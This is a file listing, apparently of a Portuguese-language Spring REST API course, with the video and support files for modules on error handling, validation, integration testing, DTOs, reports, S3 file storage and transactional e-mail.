    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.14. Desafio implementando exception handler.mp4 920.43 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.14. Desafio implementando exception handler.txt 1.41 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.18. Padronizando o formato de problemas no corpo de respostas com a RFC 7807.png 16.06 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.18. Padronizando o formato de problemas no corpo de respostas com a RFC 7807.txt 31.6 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.18. Padronizando o formato de problemas no corpo de respostas com a RFC 7807.URL 229 B
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.19. Desafio usando o formato de problemas no corpo de respostas.png 183.5 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.19. Desafio usando o formato de problemas no corpo de respostas.txt 1.3 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.23. Desafio tratando a PropertyBindingException na desserialização.mp4 3.04 MB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.23. Desafio tratando a PropertyBindingException na desserialização.txt 3.08 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.25. Desafio tratando exception de parâmetro de URL inválido.mp4 3.61 MB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.25. Desafio tratando exception de parâmetro de URL inválido.txt 2.25 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.26. Desafio tratando a exceção NoHandlerFoundException.mp4 552.69 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.26. Desafio tratando a exceção NoHandlerFoundException.txt 1.22 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.27. Desafio tratando outras exceções não capturadas.png 172.12 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.27. Desafio tratando outras exceções não capturadas.txt 1.35 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.29. Desafio estendendo o formato do problema.mp4 1.08 MB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.29. Desafio estendendo o formato do problema.txt 1.83 KB
    09 Validações com Bean Validation/ESR - 09.01 - Validação do modelo com Bean Validation.mp4 4.59 MB
    09 Validações com Bean Validation/ESR - 09.02 - Adicionando constraints e validando no controller com @Valid.mp4 57.94 MB
    09 Validações com Bean Validation/ESR - 09.03 - Desafio - tratando exception de violação de constraints de validação.mp4 5.05 MB
    09 Validações com Bean Validation/ESR - 09.04 - Estendendo o Problem Details para adicionar as propriedades com constraints violadas.mp4 29.49 MB
    09 Validações com Bean Validation/ESR - 09.05 - Conhecendo e adicionando mais constraints de validação no modelo.mp4 54.67 MB
    09 Validações com Bean Validation/ESR - 09.06 - Validando as associações de uma entidade em cascata.mp4 20.09 MB
    09 Validações com Bean Validation/ESR - 09.07 - Agrupando e restringindo constraints que devem ser usadas na validação.mp4 84.26 MB
    09 Validações com Bean Validation/ESR - 09.08 - Convertendo grupos de constraints para validação em cascata com @ConvertGroup.mp4 25.87 MB
    09 Validações com Bean Validation/ESR - 09.09 - Desafio - adicionando constraints de validação no modelo.mp4 9.68 MB
    09 Validações com Bean Validation/ESR - 09.10 - Customizando mensagens de validação na anotação da constraint.mp4 9.68 MB
    09 Validações com Bean Validation/ESR - 09.11 - Customizando e resolvendo mensagens de validação globais em Resource Bundle.mp4 97.66 MB
    09 Validações com Bean Validation/ESR - 09.12 - Desafio - customizando mensagens de validação.mp4 2.71 MB
    09 Validações com Bean Validation/ESR - 09.13 - Resolvendo mensagens de validação com Resource Bundle do Bean Validation.mp4 74.5 MB
    09 Validações com Bean Validation/ESR - 09.14 - Usando o Resource Bundle do Spring como Resource Bundle do Bean Validation.mp4 43.84 MB
    09 Validações com Bean Validation/ESR - 09.15 - Criando constraints de validação customizadas usando composição.mp4 88.81 MB
    09 Validações com Bean Validation/ESR - 09.16 - Criando constraints de validação customizadas com implementação de ConstraintValidator.mp4 49.21 MB
    09 Validações com Bean Validation/ESR - 09.17 - Criando constraints de validação customizadas em nível de classe.mp4 68.19 MB
    09 Validações com Bean Validation/ESR - 09.18 - Ajustando Exception Handler para adicionar mensagens de validação em nível de classe.mp4 69.36 MB
    09 Validações com Bean Validation/ESR - 09.19 - Executando processo de validação programaticamente.mp4 45.89 MB
    09 Validações com Bean Validation/ESR - 09.20 - Desafio - tratando a exception customizada de validações programáticas.mp4 19.05 MB
    09 Validações com Bean Validation/Conteudo de apoio/9.1. Validação do modelo com Bean Validation.png 64.65 KB
    09 Validações com Bean Validation/Conteudo de apoio/9.1. Validação do modelo com Bean Validation.txt 615 B
    09 Validações com Bean Validation/Conteudo de apoio/9.3. Desafio tratando exception de violação de constraints de validação.png 96.2 KB
    09 Validações com Bean Validation/Conteudo de apoio/9.3. Desafio tratando exception de violação de constraints de validação.txt 918 B
    09 Validações com Bean Validation/Conteudo de apoio/9.5. Conhecendo e adicionando mais constraints de validação no modelo.txt 183 B
    09 Validações com Bean Validation/Conteudo de apoio/9.5. Conhecendo e adicionando mais constraints de validação no modelo.URL 290 B
    09 Validações com Bean Validation/Conteudo de apoio/9.9. Desafio adicionando constraints de validação no modelo.mp4 1.25 MB
    09 Validações com Bean Validation/Conteudo de apoio/9.9. Desafio adicionando constraints de validação no modelo.txt 1.49 KB
    09 Validações com Bean Validation/Conteudo de apoio/9.12. Desafio customizando mensagens de validação.png 150.86 KB
    09 Validações com Bean Validation/Conteudo de apoio/9.12. Desafio customizando mensagens de validação.txt 1016 B
    09 Validações com Bean Validation/Conteudo de apoio/9.15. Criando constraints de validação customizadas usando composição github.png 72.36 KB
    09 Validações com Bean Validation/Conteudo de apoio/9.15. Criando constraints de validação customizadas usando composição.txt 51 B
    09 Validações com Bean Validation/Conteudo de apoio/9.15. Criando constraints de validação customizadas usando composição.zip 16.58 MB
    09 Validações com Bean Validation/Conteudo de apoio/9.20. Desafio tratando a exception customizada de validações programáticas.mp4 4.01 MB
    09 Validações com Bean Validation/Conteudo de apoio/9.20. Desafio tratando a exception customizada de validações programáticas.txt 2.25 KB
    10 Testes de integração/ESR - 10.01 - Introdução aos Testes de Integração e Testes de APIs.mp4 4.85 MB
    10 Testes de integração/ESR - 10.02 - Preparando o projeto para testes de integração.mp4 35.15 MB
    10 Testes de integração/ESR - 10.03 - Criando e rodando um teste de integração com Spring Boot JUnit e AssertJ.mp4 39.08 MB
    10 Testes de integração/ESR - 10.04 - Escrevendo bons nomes de testes.mp4 25.97 MB
    10 Testes de integração/ESR - 10.05 - Desafio - escrevendo testes de integração.mp4 3.3 MB
    10 Testes de integração/ESR - 10.06 - Rodando os testes pelo Maven.mp4 31.73 MB
    10 Testes de integração/ESR - 10.07 - Configurando Maven Failsafe Plugin no projeto.mp4 29.67 MB
    10 Testes de integração/ESR - 10.08 - Implementando Testes de API com REST Assured e validando o código de status HTTP.mp4 44.73 MB
    10 Testes de integração/ESR - 10.09 - Validando o corpo da resposta HTTP.mp4 35.19 MB
    10 Testes de integração/ESR - 10.10 - Criando um método para fazer setup dos testes.mp4 13.18 MB
    10 Testes de integração/ESR - 10.11 - Entendendo o problema da ordem de execução dos testes.mp4 23.09 MB
    10 Testes de integração/ESR - 10.12 - Voltando o estado inicial do banco de dados para cada execução de teste com callback do Flyway.mp4 13.03 MB
    10 Testes de integração/ESR - 10.13 - Configurando um banco de testes e usando @TestPropertySource.mp4 46.53 MB
    10 Testes de integração/ESR - 10.14 - Limpando e populando o banco de dados de teste.mp4 21.73 MB
    10 Testes de integração/ESR - 10.15 - Testando endpoint passando parâmetro de URL.mp4 27.2 MB
    10 Testes de integração/ESR - 10.16 - Desafio - refatorando o código de testes.mp4 32.39 MB
    10 Testes de integração/ESR - 10.17 - Desafio - escrevendo testes de API.mp4 9.27 MB
    10 Testes de integração/Conteudo de apoio/10.1. Introdução aos Testes de Integração e Testes de APIs.png 56.2 KB
    10 Testes de integração/Conteudo de apoio/10.1. Introdução aos Testes de Integração e Testes de APIs.txt 746 B
    10 Testes de integração/Conteudo de apoio/10.2. Preparando o projeto para testes de integração.mp4 2.2 MB
    10 Testes de integração/Conteudo de apoio/10.2. Preparando o projeto para testes de integração.txt 2.35 KB
    10 Testes de integração/Conteudo de apoio/10.3. Criando e rodando um teste de integração com Spring Boot, JUnit e AssertJ.mp4 838.32 KB
    10 Testes de integração/Conteudo de apoio/10.3. Criando e rodando um teste de integração com Spring Boot, JUnit e AssertJ.txt 1.24 KB
    10 Testes de integração/Conteudo de apoio/10.5. Desafio escrevendo testes de integração.png 134.83 KB
    10 Testes de integração/Conteudo de apoio/10.5. Desafio escrevendo testes de integração.txt 990 B
    10 Testes de integração/Conteudo de apoio/10.6. Rodando os testes pelo Maven.png 129.12 KB
    10 Testes de integração/Conteudo de apoio/10.6. Rodando os testes pelo Maven.txt 1011 B
    10 Testes de integração/Conteudo de apoio/10.10. Criando um método para fazer setup dos testes.png 149.53 KB
    10 Testes de integração/Conteudo de apoio/10.10. Criando um método para fazer setup dos testes.txt 1022 B
    10 Testes de integração/Conteudo de apoio/10.14. Limpando e populando o banco de dados de teste.mp4 3.19 MB
    10 Testes de integração/Conteudo de apoio/10.14. Limpando e populando o banco de dados de teste.png 14.4 KB
    10 Testes de integração/Conteudo de apoio/10.14. Limpando e populando o banco de dados de teste.rar 1.04 KB
    10 Testes de integração/Conteudo de apoio/10.14. Limpando e populando o banco de dados de teste.txt 65 B
    10 Testes de integração/Conteudo de apoio/10.14. Limpando e populando o banco de dados de teste.URL 249 B
    10 Testes de integração/Conteudo de apoio/10.16. Desafio refatorando o código de testes.mp4 3.19 MB
    10 Testes de integração/Conteudo de apoio/10.16. Desafio refatorando o código de testes.rar 359 B
    10 Testes de integração/Conteudo de apoio/10.16. Desafio refatorando o código de testes.txt 4.17 KB
    10 Testes de integração/Conteudo de apoio/10.17. Desafio escrevendo testes de API.mp4 9.95 MB
    10 Testes de integração/Conteudo de apoio/10.17. Desafio escrevendo testes de API.txt 6.7 KB
    11 Boas práticas e técnicas para APIs/ESR - 11.01 - Analisando e definindo melhor o escopo das transações.mp4 39.18 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.02 - Refinando o payload de cadastro com @JsonIgnoreProperties.mp4 45.07 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.03 - Criando classes de mixin para usar as anotações do Jackson.mp4 27.88 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.04 - Desafio - usando @JsonIgnoreProperties e Jackson Mixin.mp4 6.83 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.05 - Antes de estudar sobre data-hora - relembrando as aulas de geografia e entendendo os fusos horários.mp4 54.45 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.06 - Boas práticas para trabalhar com data e hora em REST APIs.mp4 10.95 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.07 - Configurando e refatorando o projeto para usar UTC.mp4 96.35 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.08 - Desafio - refatorando o código para usar OffsetDateTime.mp4 5.65 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.09 - Isolando o Domain Model do Representation Model com o padrão DTO.mp4 58.75 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.10 - Implementando a conversão de entidade para DTO.mp4 69.3 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.11 - Criando DTOs para entrada de dados na API.mp4 132.15 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.12 - Refatorando e criando um assembler de DTO.mp4 39.16 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.13 - Desafio - Refatorando e criando um disassembler do DTO.mp4 9.12 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.14 - Adicionando e usando o ModelMapper.mp4 26.68 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.15 - Entendendo a estratégia padrão do ModelMapper para correspondência de propriedades.mp4 72.33 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.16 - Customizando o mapeamento de propriedades com ModelMapper.mp4 17.4 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.17 - Mapeando para uma instância destino (e não um tipo) com ModelMapper.mp4 56.35 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.18 - Revisando e ajustando as mensagens de validação com o uso de DTOs.mp4 12.05 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.19 - Estratégias de nomes de propriedades snake case vs lower camel case.mp4 9.77 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.20 - Desafio - usando DTOs como representation model.mp4 9.61 MB
    11 Boas práticas e técnicas para APIs/ESR - 11.21 - Corrigindo bug de tratamento de exception de integridade de dados com flush do JPA.mp4 70.86 MB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.4. Desafio usando @JsonIgnoreProperties e Jackson Mixin.mp4 1.37 MB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.4. Desafio usando @JsonIgnoreProperties e Jackson Mixin.txt 1.69 KB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.8. Desafio refatorando o código para usar OffsetDateTime.mp4 1.96 MB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.8. Desafio refatorando o código para usar OffsetDateTime.txt 2.16 KB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.13. Desafio Refatorando e criando um disassembler do DTO.png 160.76 KB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.13. Desafio Refatorando e criando um disassembler do DTO.txt 1.26 KB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.14. Adicionando e usando o ModelMapper.png 74.99 KB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.14. Adicionando e usando o ModelMapper.txt 475 B
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.20. Desafio usando DTOs como representation model.mp4 9.87 MB
    11 Boas práticas e técnicas para APIs/Conteudo de apoio/11.20. Desafio usando DTOs como representation model.txt 9.16 KB
    12 Modelagem avançada e implementação da API/ESR - 12.01 - Modelando sub-recursos para relacionamentos.mp4 10.7 MB
    12 Modelagem avançada e implementação da API/ESR - 12.02 - Granularidade de recursos Chatty vs Chunky APIs.mp4 5.94 MB
    12 Modelagem avançada e implementação da API/ESR - 12.03 - Modelando conceitos abstratos de negócio e ações não-CRUD como recursos.mp4 15.08 MB
    12 Modelagem avançada e implementação da API/ESR - 12.04 - Implementando os endpoints de ativação e inativação de restaurantes.mp4 99.09 MB
    12 Modelagem avançada e implementação da API/ESR - 12.05 - Desafio - implementando os endpoints de formas de pagamento.mp4 8.06 MB
    12 Modelagem avançada e implementação da API/ESR - 12.06 - Adicionando endereço no modelo da representação do recurso de restaurante.mp4 87.14 MB
    12 Modelagem avançada e implementação da API/ESR - 12.07 - Refatorando serviço de cadastro de restaurante para incluir endereço.mp4 106.53 MB
    12 Modelagem avançada e implementação da API/ESR - 12.08 - Desafio - implementando os endpoints de grupos.mp4 18.29 MB
    12 Modelagem avançada e implementação da API/ESR - 12.09 - Desafio - implementando os endpoints de usuarios.mp4 21.09 MB
    12 Modelagem avançada e implementação da API/ESR - 12.10 - Um pouco mais sobre JPA - objeto alterado fora da transação é sincronizado com o banco de dados.mp4 88.03 MB
    12 Modelagem avançada e implementação da API/ESR - 12.11 - Implementando regra de negócio para evitar usuários com e-mails duplicados.mp4 85.45 MB
    12 Modelagem avançada e implementação da API/ESR - 12.12 - Implementando os endpoints de associação de formas de pagamento em restaurantes.mp4 152.97 MB
    12 Modelagem avançada e implementação da API/ESR - 12.13 - Desafio - implementando os endpoints de produtos.mp4 28.2 MB
    12 Modelagem avançada e implementação da API/ESR - 12.14 - Desafio - Implementando os endpoints de abertura e fechamento de restaurantes.mp4 19.08 MB
    12 Modelagem avançada e implementação da API/ESR - 12.15 - Desafio - implementando os endpoints de associação de grupos com permissões.mp4 19.75 MB
    12 Modelagem avançada e implementação da API/ESR - 12.16 - Desafio - implementando os endpoints de associação de usuários com grupos.mp4 11.8 MB
    12 Modelagem avançada e implementação da API/ESR - 12.17 - Desafio - implementando endpoints de associação de usuários responsáveis com restaurantes.mp4 19 MB
    12 Modelagem avançada e implementação da API/ESR - 12.18 - Implementando ativação e inativação em massa de restaurantes.mp4 63.06 MB
    12 Modelagem avançada e implementação da API/ESR - 12.19 - Desafio - Implementando os endpoints de consulta de pedidos.mp4 39.57 MB
    12 Modelagem avançada e implementação da API/ESR - 12.20 - Otimizando a query de pedidos e retornando model resumido na listagem.mp4 79.09 MB
    12 Modelagem avançada e implementação da API/ESR - 12.21 - Desafio - Implementando o endpoint de emissão de pedidos.mp4 74.97 MB
    12 Modelagem avançada e implementação da API/ESR - 12.22 - Implementando endpoint de transição de status de pedidos.mp4 92.31 MB
    12 Modelagem avançada e implementação da API/ESR - 12.23 - Desafio - implementando endpoints de transição de status de pedidos.mp4 3.92 MB
    12 Modelagem avançada e implementação da API/ESR - 12.24 - Refatorando o código de regras para transição de status de pedidos.mp4 103.01 MB
    12 Modelagem avançada e implementação da API/ESR - 12.25 - Usando IDs vs UUIDs nas URIs de recursos.mp4 72.08 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.5. Desafio implementando os endpoints de formas de pagamento.mp4 8.9 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.5. Desafio implementando os endpoints de formas de pagamento.txt 6.04 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.8. Desafio implementando os endpoints de grupos.mp4 4.94 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.8. Desafio implementando os endpoints de grupos.txt 5.2 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.9. Desafio implementando os endpoints de usuarios.mp4 6.6 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.9. Desafio implementando os endpoints de usuarios.txt 6.72 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.13. Desafio implementando os endpoints de produtos.mp4 7 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.13. Desafio implementando os endpoints de produtos.txt 5.77 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.14. Desafio Implementando os endpoints de abertura e fechamento de restaurantes.mp4 2.75 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.14. Desafio Implementando os endpoints de abertura e fechamento de restaurantes.txt 3.23 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.15. Desafio implementando os endpoints de associação de grupos com permissões.mp4 3.94 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.15. Desafio implementando os endpoints de associação de grupos com permissões.txt 4.35 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.16. Desafio implementando os endpoints de associação de usuários com grupos.mp4 2.51 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.16. Desafio implementando os endpoints de associação de usuários com grupos.txt 2.72 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.17. Desafio implementando endpoints de associação de usuários responsáveis com restaurantes.mp4 3.32 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.17. Desafio implementando endpoints de associação de usuários responsáveis com restaurantes.txt 4.23 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.19. Desafio Implementando os endpoints de consulta de pedidos.mp4 6.83 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.19. Desafio Implementando os endpoints de consulta de pedidos.txt 6.09 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.21. Desafio Implementando o endpoint de emissão de pedidos.mp4 5.57 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.21. Desafio Implementando o endpoint de emissão de pedidos.txt 6.59 KB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.23. Desafio implementando endpoints de transição de status de pedidos.mp4 1.43 MB
    12 Modelagem avançada e implementação da API/Conteudo de apoio/12.23. Desafio implementando endpoints de transição de status de pedidos.txt 1.65 KB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.01 - Fazendo projeção de recursos com @JsonView do Jackson.mp4 128.86 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.02 - Limitando os campos retornados pela API com @JsonFilter do Jackson.mp4 55.6 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.03 - Limitando os campos retornados pela API com Squiggly.mp4 46.61 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.04 - Implementando pesquisas simples na API.mp4 40.59 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.05 - Modelando pesquisas complexas na API.mp4 39.71 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.06 - Implementando pesquisas complexas na API.mp4 66.66 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.07 - Tratando BindException ao enviar parâmetros de URL inválido.mp4 69.86 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.08 - Implementando paginação e ordenação em recursos de coleção da API.mp4 92.85 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.09 - Desafio - implementando paginação e ordenação de pedidos.mp4 32.77 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.10 - Implementando JsonSerializer para customizar representação de paginação.mp4 52.18 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.11 - Implementando um conversor de propriedades de ordenação.mp4 162.91 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.12 - Modelando endpoints de consultas com dados agregados ideal para gráficos e dashboards.mp4 9.12 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.13 - Discutindo sobre onde implementar as consultas com dados agregados.mp4 104.33 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.14 - Implementando consulta com dados agregados de vendas diárias.mp4 89.97 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.15 - Desafio - adicionando os filtros na consulta de vendas diárias.mp4 23.68 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.16 - Tratando time offset na agregação de vendas diárias por data.mp4 68.2 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.17 - Conhecendo o JasperSoft Studio.mp4 34.2 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.18 - Criando um layout do relatório JasperReports de vendas diárias.mp4 53.97 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.19 - Estruturando endpoint e serviço de emissão de relatório em PDF.mp4 100.99 MB
    13 Modelagem de projeções, pesquisas e relatórios/ESR - 13.20 - Preenchendo um relatório JasperReports com JavaBeans e gerando bytes do PDF.mp4 49.75 MB
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.3. Limitando os campos retornados pela API com Squiggly squiggly-master.zip 144.24 KB
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.3. Limitando os campos retornados pela API com Squiggly TomcatCustomizer.rar 477 B
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.3. Limitando os campos retornados pela API com Squiggly.png 60.72 KB
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.3. Limitando os campos retornados pela API com Squiggly.txt 560 B
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.9. Desafio implementando paginação e ordenação de pedidos.png 141.64 KB
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.9. Desafio implementando paginação e ordenação de pedidos.txt 1022 B
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.15. Desafio adicionando os filtros na consulta de vendas diárias.png 178.25 KB
    13 Modelagem de projeções, pesquisas e relatórios/Conteudo de apoio/13.15. Desafio adicionando os filtros na consulta de vendas diárias.txt 1.21 KB
    14 Upload e download de arquivos/ESR - 14.01 - Conhecendo soluções para upload de arquivos em REST APIs.mp4 58.27 MB
    14 Upload e download de arquivos/ESR - 14.02 - Implementando upload de arquivo com multipart-form-data - Curso Online Especialista Spring REST.mp4 47.43 MB
    14 Upload e download de arquivos/ESR - 14.03 - Validando o tamanho máximo do arquivo.mp4 51.63 MB
    14 Upload e download de arquivos/ESR - 14.04 - Desafio - Validando o content type do arquivo.mp4 12.79 MB
    14 Upload e download de arquivos/ESR - 14.05 - Mapeando entidade FotoProduto e relacionamento um-para-um.mp4 49.35 MB
    14 Upload e download de arquivos/ESR - 14.06 - Implementando serviço de cadastro de foto de produto.mp4 91.98 MB
    14 Upload e download de arquivos/ESR - 14.07 - Implementando serviço de cadastro de foto de produto.mp4 53.6 MB
    14 Upload e download de arquivos/ESR - 14.08 - Implementando o serviço de armazenagem de fotos no disco local.mp4 57.02 MB
    14 Upload e download de arquivos/ESR - 14.09 - Integrando o serviço de catálogo de fotos com o serviço de armazenagem.mp4 87.92 MB
    14 Upload e download de arquivos/ESR - 14.10 - Implementando a remoção e substituição de arquivos de fotos no serviço de armazenagem.mp4 44.42 MB
    14 Upload e download de arquivos/ESR - 14.11 - Desafio - Implementando recuperação de foto no serviço de armazenagem.mp4 5.91 MB
    14 Upload e download de arquivos/ESR - 14.12 - Desafio - Implementando endpoint de consulta de foto de produto.mp4 7.63 MB
    14 Upload e download de arquivos/ESR - 14.13 - Servindo arquivos de fotos pela API.mp4 32.89 MB
    14 Upload e download de arquivos/ESR - 14.14 - Checando media type ao servir arquivos de fotos.mp4 46.74 MB
    14 Upload e download de arquivos/ESR - 14.15 - Desafio - implementando endpoint de exclusão de foto de produto.mp4 2.95 MB
    14 Upload e download de arquivos/ESR - 14.16 - Corrigindo exception handler de media type não aceita.mp4 55.2 MB
    14 Upload e download de arquivos/ESR - 14.17 - Amazon S3 - conhecendo o serviço de storage da AWS.mp4 40.31 MB
    14 Upload e download de arquivos/ESR - 14.18 - Criando usuário com permissões para adicionar objetos na Amazon S3.mp4 24.75 MB
    14 Upload e download de arquivos/ESR - 14.19 - Criando chaves de acesso para a API da AWS.mp4 12.11 MB
    14 Upload e download de arquivos/ESR - 14.20 - Criando bean de propriedades de configuração dos serviços de storage.mp4 76.52 MB
    14 Upload e download de arquivos/ESR - 14.21 - Adicionando o SDK Java da Amazon S3 no projeto e criando classe do serviço de storage.mp4 9.31 MB
    14 Upload e download de arquivos/ESR - 14.22 - Definindo bean do client da Amazon S3 e configurando credenciais - Curso Online Especialista Spring REST - AlgaWorks^.mp4 21.92 MB
    14 Upload e download de arquivos/ESR - 14.23 - Implementando a inclusão de objetos no bucket da Amazon S3.mp4 42.58 MB
    14 Upload e download de arquivos/ESR - 14.24 - Desafio - Implementando a exclusão de objetos do bucket da Amazon S3.mp4 9.58 MB
    14 Upload e download de arquivos/ESR - 14.25 - Implementando a recuperação de foto no serviço de storage do S3.mp4 102.19 MB
    14 Upload e download de arquivos/ESR - 14.26 - Selecionando a implementação do serviço de storage de fotos.mp4 19.65 MB
    14 Upload e download de arquivos/Conteudo de apoio/14.4. Desafio Validando o content type do arquivo.mp4 1.56 MB
    14 Upload e download de arquivos/Conteudo de apoio/14.4. Desafio Validando o content type do arquivo.txt 1.65 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.5. Mapeando entidade FotoProduto e relacionamento um-para-um.mp4 13.76 MB
    14 Upload e download de arquivos/Conteudo de apoio/14.5. Mapeando entidade FotoProduto e relacionamento um-para-um.mp4 master.zip 6.66 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.5. Mapeando entidade FotoProduto e relacionamento um-para-um.txt 11.38 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.5. Mapeando entidade FotoProduto e relacionamento um-para-um.URL 248 B
    14 Upload e download de arquivos/Conteudo de apoio/14.11. Desafio Implementando recuperação de foto no serviço de armazenagem.png 73.29 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.11. Desafio Implementando recuperação de foto no serviço de armazenagem.txt 577 B
    14 Upload e download de arquivos/Conteudo de apoio/14.12. Desafio Implementando endpoint de consulta de foto de produto.mp4 1.66 MB
    14 Upload e download de arquivos/Conteudo de apoio/14.12. Desafio Implementando endpoint de consulta de foto de produto.txt 1.34 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.15. Desafio implementando endpoint de exclusão de foto de produto.png 87.93 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.15. Desafio implementando endpoint de exclusão de foto de produto.txt 741 B
    14 Upload e download de arquivos/Conteudo de apoio/14.24. Desafio Implementando a exclusão de objetos do bucket da Amazon S3.png 67.89 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.24. Desafio Implementando a exclusão de objetos do bucket da Amazon S3.txt 587 B
    14 Upload e download de arquivos/Conteudo de apoio/14.26. Selecionando a implementação do serviço de storage de fotos.png 131.1 KB
    14 Upload e download de arquivos/Conteudo de apoio/14.26. Selecionando a implementação do serviço de storage de fotos.txt 1.43 KB
    15 E-mails transacionais e Domain Events/ESR - 15.01 - Conhecendo soluções para envio de e-mails transacionais.mp4 24.62 MB
    15 E-mails transacionais e Domain Events/ESR - 15.02 - Configurando o projeto para envio de e-mails usando servidor SMTP.mp4 26.77 MB
    15 E-mails transacionais e Domain Events/ESR - 15.03 - Implementando o serviço de infraestrutura de envio de e-mails com Spring.mp4 31.02 MB
    15 E-mails transacionais e Domain Events/ESR - 15.04 - Usando o serviço de envio de e-mails na confirmação de pedidos.mp4 43.65 MB
    15 E-mails transacionais e Domain Events/ESR - 15.05 - Processando template do corpo de e-mails com Apache FreeMarker.mp4 52.01 MB
    15 E-mails transacionais e Domain Events/ESR - 15.06 - Melhorando o texto do e-mail com FTL (FreeMarker Template Language).mp4 62.04 MB
    15 E-mails transacionais e Domain Events/ESR - 15.07 - Formatando valores monetários com FTL.mp4 22.65 MB
    15 E-mails transacionais e Domain Events/ESR - 15.08 - Desafio - implementando serviço de envio de e-mail fake.mp4 24.54 MB
